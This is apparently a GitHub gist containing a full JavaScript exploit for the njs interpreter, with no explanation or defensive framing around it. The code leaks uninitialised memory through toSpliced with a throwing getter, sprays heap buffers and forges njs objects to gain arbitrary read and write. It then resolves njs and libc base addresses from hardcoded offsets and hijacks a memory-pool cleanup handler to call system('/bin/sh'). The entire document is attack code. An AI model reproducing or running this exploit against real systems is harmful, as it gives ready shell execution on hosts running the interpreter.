Created
May 31, 2024 14:50
-
-
Save iamgweej/7dd5f1e902b1de1c6bdf9b5b653e339b to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
let uninitArr = null; | |
let buggy_arr = new Array(0x100); | |
Object.defineProperty(buggy_arr, 0, { get: (s) => { throw new Error(); } }); | |
let arrBuf = new ArrayBuffer(0x378); | |
let u8Arr = new Uint8Array(arrBuf); | |
u8Arr[16 * 0x37 + 0] = 5; // njs_value_s.type = NJS_STRING | |
u8Arr[16 * 0x37 + 1] = 0xee; // njs_value_s.short_string.{size,length} = 14 | |
// u8Arr[16 * 0x37 + 8] is njs_mp_block_t.node.left, (were not in debug :D) | |
// which is confused with njs_value_s.short_string.start[6:14] | |
u8Arr.sort((x, y) => { return 0; }) | |
try { | |
uninitArr = buggy_arr.toSpliced(0x38); | |
} catch (e) { } | |
let leakString = uninitArr[0x37]; | |
function longAdd(u1, u2, u3) { | |
let sum = 0; | |
let carry = 0; | |
for (let i = 0; i < 8; i++) { | |
sum = u1.getUint8(i) + u2.getUint8(i) + carry; | |
if (sum >= 0x100) { | |
carry = 1; | |
sum -= 0x100; | |
} else { | |
carry = 0; | |
} | |
u3.setUint8(i, sum); | |
} | |
return u3; | |
} | |
function toLong(x) { | |
let a = new DataView(new ArrayBuffer(8)); | |
a.setUint32(0, x, true) | |
a.setUint32(4, 0, true) | |
return a; | |
} | |
let long1 = toLong(1); | |
function longNeg(u1, u2) { | |
for (let i = 0; i < 8; i++) { | |
u2.setUint8(i, 0xff - u1.getUint8(i)); | |
} | |
longAdd(u2, long1, u2); | |
return u2; | |
} | |
function longSub(u1, u2, u3) { | |
longNeg(u2, u3); | |
longAdd(u1, u3, u3); | |
return u3; | |
} | |
function logLong(u) { | |
console.log(u.getUint32(4, true).toString(16).padStart(8, '0') + u.getUint32(0, true).toString(16).padStart(8, '0')) | |
} | |
function longEq(u1, u2) { | |
return (u1.getUint32(0) == u2.getUint32(0)) && (u1.getUint32(4) == u2.getUint32(4)); | |
} | |
function arrToLong(x0, x1, x2, x3, x4, x5, x6, x7) { | |
let a = new ArrayBuffer(8); | |
let u = new Uint8Array(a); | |
u[0] = x0; | |
u[1] = x1; | |
u[2] = x2; | |
u[3] = x3; | |
u[4] = x4; | |
u[5] = x5; | |
u[6] = x6; | |
u[7] = x7; | |
return new DataView(a); | |
} | |
let leakAddr = arrToLong( | |
leakString.charCodeAt(6), | |
leakString.charCodeAt(7), | |
leakString.charCodeAt(8), | |
leakString.charCodeAt(9), | |
leakString.charCodeAt(10), | |
leakString.charCodeAt(11), | |
leakString.charCodeAt(12), | |
leakString.charCodeAt(13), | |
); | |
// ====== spray and pray ====== | |
let arrayBuffers = new Array(0x400); | |
for (let i = 0; i < 0x400; i++) { | |
arrayBuffers[i] = new Uint8Array(new ArrayBuffer(0x800)); | |
arrayBuffers[i].fill(0x13); | |
} | |
let uninitArr2 = null; | |
let buggyArr2 = new Array(0x100); | |
Object.defineProperty(buggyArr2, 0, { get: (s) => { throw new Error(); } }); | |
let arrBuf2 = new ArrayBuffer(0x380); | |
let u8Arr2 = new Uint8Array(arrBuf2); | |
let dataView2 = new DataView(arrBuf2); | |
let guessAddr = longAdd( | |
leakAddr, | |
toLong(0x400 * 0x400), | |
toLong(0) | |
); | |
u8Arr2[16 * 0x36 + 0x0] = 17; // njs_value_s.type = NJS_ARRAY | |
u8Arr2[16 * 0x36 + 0x1] = 1; // njs_value_s.data.truth = 1 | |
u8Arr2[16 * 0x36 + 0x2] = 0; | |
u8Arr2[16 * 0x36 + 0x3] = 0; // njs_value_s.data.magic16 = 0 | |
u8Arr2[16 * 0x36 + 0x4] = 0; | |
u8Arr2[16 * 0x36 + 0x5] = 0; | |
u8Arr2[16 * 0x36 + 0x6] = 0; | |
u8Arr2[16 * 0x36 + 0x7] = 0; // njs_value_s.data.magic32 = 0 | |
dataView2.setUint32(16 * 0x36 + 8, guessAddr.getUint32(0)) | |
dataView2.setUint32(16 * 0x36 + 0xc, guessAddr.getUint32(4)) | |
u8Arr2[16 * 0x37 + 0x0] = 5; // njs_value_s.type = NJS_STRING | |
u8Arr2[16 * 0x37 + 0x1] = 0xff; // njs_value_s.short_string.{size,length} = 16 | |
u8Arr2[16 * 0x37 + 0x2] = 0xff; // njs_value_s.long_string.external = 0xff | |
u8Arr2[16 * 0x37 + 0x4] = 0xff; | |
u8Arr2[16 * 0x37 + 0x5] = 0xff; | |
u8Arr2[16 * 0x37 + 0x6] = 0xff; | |
u8Arr2[16 * 0x37 + 0x7] = 0xff; // njs_value_s.long_string.size = 0xffffffff | |
dataView2.setUint32(16 * 0x37 + 8, guessAddr.getUint32(0)) | |
dataView2.setUint32(16 * 0x37 + 0xc, guessAddr.getUint32(4)) | |
u8Arr2.sort((x, y) => { return 0; }) | |
try { | |
uninitArr2 = buggyArr2.toSpliced(0x38); | |
} catch (e) { } | |
let fakeArr = uninitArr2[0x36]; | |
let fakeStr = uninitArr2[0x37]; | |
if (fakeStr.length != 0x13131313) { | |
throw new Error("lose :("); | |
} | |
let ab = null; | |
let offset = 0; | |
let found = false; | |
for (let i = 0; i < 0x400 && !found; i++) { | |
// aligned to 16 :D | |
ab = arrayBuffers[i]; | |
for (offset = 0; offset < 0x800 && !found; offset += 8) { | |
ab[offset] = 0; | |
if (fakeStr.length != 0x13131313) { | |
found = true; | |
break; | |
} | |
} | |
} | |
if (!found) { | |
throw new Error("wtf?"); | |
} | |
// ZZZZZZZZZZZZZZyyZZZZZZZZZZZZZZZZZZZZZZ | |
// ^ab ^guessAddr | |
// ^ab+offset | |
if (0x800 - (offset - 8) < 0x40) { | |
throw new Error("bad luck :( TODO: better numbers!"); | |
} | |
let fakeNjsArrayView = new DataView(ab.buffer, offset - 8, 0x40); | |
let abStart = longSub(guessAddr, toLong(offset - 8), toLong(0)); | |
let rangeStart = offset - 8; | |
let rangeEnd = offset - 8 + 0x40; | |
function getMem(size) { | |
if (size <= rangeStart) { | |
rangeStart -= size; | |
return new DataView(ab.buffer, rangeStart, size); | |
} else if (size <= 0x800 - rangeEnd) { | |
let ret = new DataView(ab.buffer, rangeEnd, size) | |
rangeEnd += size; | |
return ret; | |
} | |
throw new Error("Out of space!"); | |
} | |
let fakeArrayStartView = getMem(0x10); | |
let fakeArrayStartAddr = longAdd(abStart, toLong(fakeArrayStartView.byteOffset), toLong(0)); | |
fakeNjsArrayView.setUint8(0x22, 8); // fast array - offset 0x22 bit 3 | |
fakeNjsArrayView.setUint8(0x28, 0); | |
fakeNjsArrayView.setUint8(0x29, 0); | |
fakeNjsArrayView.setUint8(0x2a, 0); | |
fakeNjsArrayView.setUint8(0x2b, 0); | |
fakeNjsArrayView.setUint32(0x2c, 0xffffffff); // array length | |
fakeNjsArrayView.setUint32(0x30, fakeArrayStartAddr.getUint32()); | |
fakeNjsArrayView.setUint32(0x34, fakeArrayStartAddr.getUint32(4)); // fake array alloc | |
// Leak the prototype to use it in fake DataViews... | |
fakeArr[0] = fakeNjsArrayView.buffer.__proto__ | |
let arrayBufferProtoAddr = toLong(0); | |
arrayBufferProtoAddr.setInt32(0, fakeArrayStartView.getUint32(8)) | |
arrayBufferProtoAddr.setInt32(4, fakeArrayStartView.getUint32(0xc)) | |
let fakeArrayBufferView = getMem(56); | |
let fakeArrayBufferAddr = longAdd(abStart, toLong(fakeArrayBufferView.byteOffset), toLong(0)); | |
fakeArrayStartView.setUint8(0, 24) // NJS_ARRAY_BUFFER | |
fakeArrayStartView.setUint8(1, 1) // truth | |
fakeArrayStartView.setUint32(8, fakeArrayBufferAddr.getUint32()); | |
fakeArrayStartView.setUint32(0xc, fakeArrayBufferAddr.getUint32(4)); | |
fakeArrayBufferView.setUint32(0, 0) | |
fakeArrayBufferView.setUint32(4, 0) // object.hash | |
fakeArrayBufferView.setUint32(8, 0) | |
fakeArrayBufferView.setUint32(0xc, 0) // object.shared_hash | |
fakeArrayBufferView.setUint32(0x10, arrayBufferProtoAddr.getUint32(0)) | |
fakeArrayBufferView.setUint32(0x14, arrayBufferProtoAddr.getUint32(4)) // object.__proto__ | |
fakeArrayBufferView.setUint32(0x18, 0) | |
fakeArrayBufferView.setUint32(0x1c, 0) // object.slots | |
fakeArrayBufferView.setUint32(0x20, 0) // object.type | |
fakeArrayBufferView.setUint32(0x21, 0) // object.shared | |
fakeArrayBufferView.setUint32(0x22, 0) // object.{extensible,error_data,stack_attached,fast_array} | |
fakeArrayBufferView.setUint32(0x28, 0xffffffff) | |
fakeArrayBufferView.setUint32(0x2c, 0) // size | |
let fakeArrayBuffer = fakeArr[0]; | |
function pointFakeBuffer(addr) { | |
fakeArrayBufferView.setUint32(0x30, addr.getUint32(0)) | |
fakeArrayBufferView.setUint32(0x34, addr.getUint32(4)) // data | |
} | |
pointFakeBuffer(arrayBufferProtoAddr) | |
let rwDataView = new DataView(fakeArrayBuffer) | |
fakeArr[0] = Symbol.for("idontexistlol") | |
let symbolNameAddr = toLong(0); | |
symbolNameAddr.setInt32(0, fakeArrayStartView.getUint32(8)) | |
symbolNameAddr.setInt32(4, fakeArrayStartView.getUint32(0xc)) | |
function arbRead(addr, to) { | |
pointFakeBuffer(addr) | |
to.setInt32(0, rwDataView.getUint32(0)) | |
to.setInt32(4, rwDataView.getUint32(4)) | |
return to | |
} | |
let symbolNodeAddr = longSub(symbolNameAddr, toLong(32), toLong(0)) | |
let long8 = toLong(8) | |
let symbolNodeRight = toLong(0) | |
arbRead(longAdd(symbolNodeAddr, long8, symbolNodeRight), symbolNodeRight) | |
let globalSymbolTreeSentinel = toLong(0); | |
let temp = null; | |
while (symbolNodeRight.getUint8(7) == 0) { | |
temp = globalSymbolTreeSentinel | |
globalSymbolTreeSentinel = symbolNodeAddr | |
symbolNodeAddr = symbolNodeRight | |
symbolNodeRight = arbRead(longAdd(symbolNodeAddr, long8, temp), temp) | |
} | |
let vmPtr = longSub(globalSymbolTreeSentinel, toLong(784), toLong(0)) | |
let memPoolPtr = longAdd(vmPtr, toLong(256), toLong(0)) | |
let memPool = arbRead(memPoolPtr, toLong(0)) | |
let memPoolCleanup = longAdd(memPool, toLong(64), toLong(0)) | |
let fakeCleanup = getMem(0x18); | |
let fakeCleanupAddr = longAdd(abStart, toLong(fakeCleanup.byteOffset), toLong(0)); | |
let binShAddr = longAdd(abStart, toLong(fakeCleanup.byteOffset + 0x10), toLong(0)) | |
// symbolNodeAddr is `njs_symbol_rbtree_cmp` | |
// 0x44b9e - njs.sym["njs_symbol_rbtree_cmp"] | |
// 0xc6d58 - njs.sym["got.malloc"] | |
// 0x9a0e0 - libc.sym["malloc"] | |
// 0x52290 - libc.sym["system"] | |
// FIXME: (portability) scan for an ELF header and parse program headers to find libc | |
let njsBase = longSub(symbolNodeAddr, toLong(0x44b9e), toLong(0)) | |
let gotMalloc = longAdd(njsBase, toLong(0xc6d58), toLong(0)) | |
let malloc = arbRead(gotMalloc, toLong(0)) | |
let libcBase = longSub(malloc, toLong(0x9a0e0), toLong(0)) | |
let libcSystem = longAdd(libcBase, toLong(0x52290), toLong(0)) | |
fakeCleanup.setUint32(0, libcSystem.getUint32(0)) | |
fakeCleanup.setUint32(4, libcSystem.getUint32(4)) // handler | |
fakeCleanup.setUint32(8, binShAddr.getUint32(0)) | |
fakeCleanup.setUint32(0xc, binShAddr.getUint32(4)) // data ptr | |
fakeCleanup.setUint32(0x10, 0x6e69622f, true) | |
fakeCleanup.setUint32(0x14, 0x68732f, true) // "/bin/sh\0" | |
function arbWrite(what, where) { | |
pointFakeBuffer(where) | |
rwDataView.setUint32(0, what.getUint32(0)) | |
rwDataView.setUint32(4, what.getUint32(4)) | |
} | |
arbWrite(fakeCleanupAddr, memPoolCleanup) | |
console.log("Done!") |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment